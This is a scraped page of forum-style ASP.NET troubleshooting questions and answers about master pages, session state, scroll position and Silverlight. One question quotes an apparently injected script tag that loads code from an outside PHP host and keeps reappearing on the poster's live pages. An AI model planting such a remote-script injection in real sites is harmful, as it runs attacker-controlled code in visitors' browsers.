Ajax not working on Server - asp.net

I have downloaded the latest toolkit from https://www.nuget.org/packages/AjaxControlToolkit/.
Problem is it works fine on my local host but not when i upload it to the server. I don't even get an error message. Simply anything Ajax related is not working. I'm suspecting that the installation I did is the problem, since it does everything automatically for me and in my project I can't add a ScriptManager since it keeps saying that I already have one in my system, eventhough I can't see in anywhere in my code.
Do anyone have any idea what the problem might be or what I'm missing?

You have a ScriptManager on the master page, and therefore when your child page gets composited with the master page there ends up being two script managers.
The normal solution is to only have the ScriptManager on the master page.

Related

MS JS Runtime Error....Include AJAX libraries in Web.Config

Here is image of the error and the code segment where it is erroring out.
Project was originally developed in VS2010 but was "upgraded" to VS2012 cause client has that dev environment. Not sure if there are other things i need to do after the upgrade that would resolve this problem or not.
This error only occurs when i place the Me.MaintainScrollPositionOnPostBack = True in Page_Load, Page Directive, or Web.Config. I have tried using self reference and Page reference and same problem.
If i remove the line of code Me.MaintainScrollPositionOnPostBack = True from any of the 3 locations the WebDev.WebServer#### runs the application fine.
Ultimate goals is that i have an undefined length object being loaded into a table. It could be as little as 5 items in the table or up to 100. In either case each item has a RadioButtonList object associated with it. Each RBL when clicked then submits the choice selected back to the SQL server and ultimately refreshes the page. This setting was suppose to fix the problem of the refresh, or PostBack, from resetting the scroll back to the top.
Found out after removing the MaintainScrollPositionOnPostBack property but adding in AJAX controls, i received similar errors.
Question:
Any suggestion on fixing this problem, so it wont occur in VS2010 or VS2012?
Is there an alternate approach so i can sustain the scroll position on the page while still submitting the RBL selected index change event to the SQL server?
How do i fix this so the JavaScript is either installed on my computer or WebServer instance from VS2010/2012 will use Javascript?
Seems this is related to Ajax registration within the web.config even though i have it registered in the project. Anyone know what declaration i need in web.config so ajax is run from the server and doesnt require client interaction? (FYI, .Net 4)

What happened to my ASP.NET website causing NullReferenceException in code behind on controls from MasterPage?

I have the strangest problem! I have an ASP.NET website application (luckily not yet live). Yesterday and everyday before, I could run the application without error. It was working fine when I turned the computer off late last night. When I ran the application today, I got a strange message telling me that my website was offline and that I should remove the app_offline.htm page from my root directory to put it back online.
I have never seen this message or page before, so I searched online to find that apparently SQL Server can put it there temporarily while it's busy to stop any more incoming requests (or something similar). Its proper use is to stop requests going to your site when you are updrading or doing maintenance. I proceeded to remove it as suggested. I cleaned and built the solution and then tried to run it. It no longer runs.
Now, I get an error in my MasterPage code behind where I normally access the controls on the MasterPage in the Page_Load event handler (shown below).
protected void Page_Load(object sender, EventArgs e)
{
breadCrumb.BreadCrumbs = BreadCrumbs;
header.MenuItems = MenuItems;
footer.Footers = Footers;
head.Controls.Add(CreateCssLink("~/Stylesheets/main.css", "screen"));
head.Controls.Add(CreateJavaScriptLink("~/Scripts/site.js"));
if (Context.Session != null && Session["layout"] == null) Session["layout"] = "single";
if (!ArePreferencesVisible) preferences.Visible = false;
}
I want to be clear here... there are no errors in this code. There are correctly named elements in the MasterPage that correspond to those in this code. It has always worked as expected up until today and I have not changed any code since it was last working. I now get a NullReferenceException on the first line because the breadCrumb element is null. In fact, all the elements from the page that are referenced here are null.
Normally the page elements have been initialised by the time the Page_Load event is raised. What can have caused this to stop happening?
I have double checked that the MasterPage and its code behind file are still connected and they are. I also tried moving this code to the Page_LoadComplete event handler, but the controls had still not been initialised, even at that stage. I shouldn't really have to change the code because it worked just fine before.
I also commented out this code and the website ran, albeit without any styles. Interestingly, when I returned the original code to the event handler and refreshed the page, it actually worked again just as it used to. I loaded a number of different pages successfully and I thought it had fixed itself, so I restarted the application and then got the same error again. No amount of cleaning, building, changing solution configuration or restarting the application and Visual Studio make any difference.
I'm not sure if the app_offline.htm is a red herring, but I've never seen that before either so it might be connected somehow. From what I read, it seems that just removing it causes the server to restart the application domain automatically, so I can't see the connection.
I really hope someone has come across this bizarre situation before because I'm all out of ideas and I can't run my website until this is fixed.
Ok, so I finally tracked down the problem. I had an earlier backup of the website from a few days ago, so I loaded that up and it worked, albeit missing the last few days' work. I copied the latest project code into the Visual Studio > Projects folder leaving the old code in the Visual Studio > Website folder. I loaded the solution and it ran fine again.
I basically compared the Website files, updating each one in turn and periodically running the application. Eventually, the application stopped working. The last file that I had updated was a MasterPage file that extended the MasterPage that had the problem.
What I had done was comment out an empty Page_Load event handler in the MasterPage. I don't understand why that would cause this problem, so any comments explaining that would be helpful and appreciated.
This MasterPage is only used on the home page and a few others, so that explains why I didn't come across the problem the night that I changed it. (I hadn't viewed any pages that used that MasterPage after making the change). I wish I had because it would have been much easier to track down then, but such is life.
So I replaced all of my latest code, added the empty Page_Load event handler in the MasterPage again and finally, everything is working again.

'System.Web.HttpContext.Current.Session' is null

I have an ASP.NET website that has been deployed since 2008 with plenty of users. From time to time, I've made updates to the site and uploaded those changes to the server without problems.
However, today, I'm trying to run the site on my development environment and I keep getting errors any time the code tries to access session state. It appears System.Web.HttpContext.Current.Session is always null!
Any suggestions on where to look? It's been a while since I worked on it and am not 100% sure if I've worked on it with the current version of ASP.NET (4.0).
Other than that, the code's been working fine and I haven't made any changes since it was last working.
More Information
I've spent all morning on this but I apparently have a larger issue.
If I step through the code, I see that my page Load handler executes. At this point, Session is not null. After that, my specialized master page executes. After that, my general master page executes. I then step through load events for a couple of controls. This all seems very normal.
Then, if I keep executing, suddenly I'm loading a specialized master page for another page and Session is now null!
If I hit F5, it the original page shows. But somehow it is causing the other page to load and without session state. If I turn off debug mode, it appears to run normally.
Obviously, I have something strange happening. I need to determine why the other page is being loaded.
Try to put a static page, something like Test.aspx and browse to that page. If it gets loaded, try to use Session property of the page in code behind. Do you still get the error? In that case, Session doesn't load. I suggest creating an HTTP Module and hooking into a method which is responsible for loading Session info. See what's wrong.
Just a guess - did you deactivate sessionState for any reason? Anything like this:
<sessionState mode="Off"/>
My apologies. The information I provided was completely misguided and was not sufficient to resolve the issue.
The problem was actually due to some custom error handling that redirected to an error page. This was configured in web.config. This error page was using the master page that my code was mysteriously executing.
Apparently, an error was occurring within the GridView control. This is ASP.NET code and not my own, so I was unable to step through it or catch it with a regular handler.
This was hard to understand. If I was executing the Load event handler of my error page, then it would've been obvious. But it appears to have skipped over that. Thus, my confusion.
Try checking the global.asax file or any other pre-load events and make sure the Session is not set to NULL explicitly.
Maybe your erring master page is calling code from some external class where the session object is not available?

parser error in webapplication (asp.net)?

I developed a application using asp.net and uploaded the site in online it is working fine.
After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>" this script is generating in every page in the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.
The error is occurring because the Doctorenq.aspx script is using a Master Page. Pages configured with a MasterPageFile attribute can only contain a very narrow set of tags, usually just <asp:Content>, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content> tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.
The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.

Silverlight in aspx page not loading

I have developed a simple Silverlight control. I created this by using the Silverlight application project template in VS 2008, adding a test page to my existing website.
Now, my control works perfectly in the auto-generated aspx, where I have now got it functioning as required. However, when I try to put the control in a new page it does not load. Debugging suggests that the code is all executing, however the UI I expect to see simply isn't appearing.
I tried this initially in a content page using the correct master page for my site layout, and then just in a standard ASPX which doesn't use MPs...same problem.
Has anyone else experienced anything similar? Am I missing something simple!?
So frustrating, any help appreciated!
You can use Firebug or Internet Explorer's developer toolbar (and Fiddler) to see if the xap file is being requested and the rendered object tag has the proper size. If using the control check for any JavaScript errors.
Right-click the region where the Silverlight control should be to see if you get a Silverlight options prompt. That will tell you if the problem is in the loading of your Silverlight object into the page, or after the Silverlight plugin has loaded.

Resources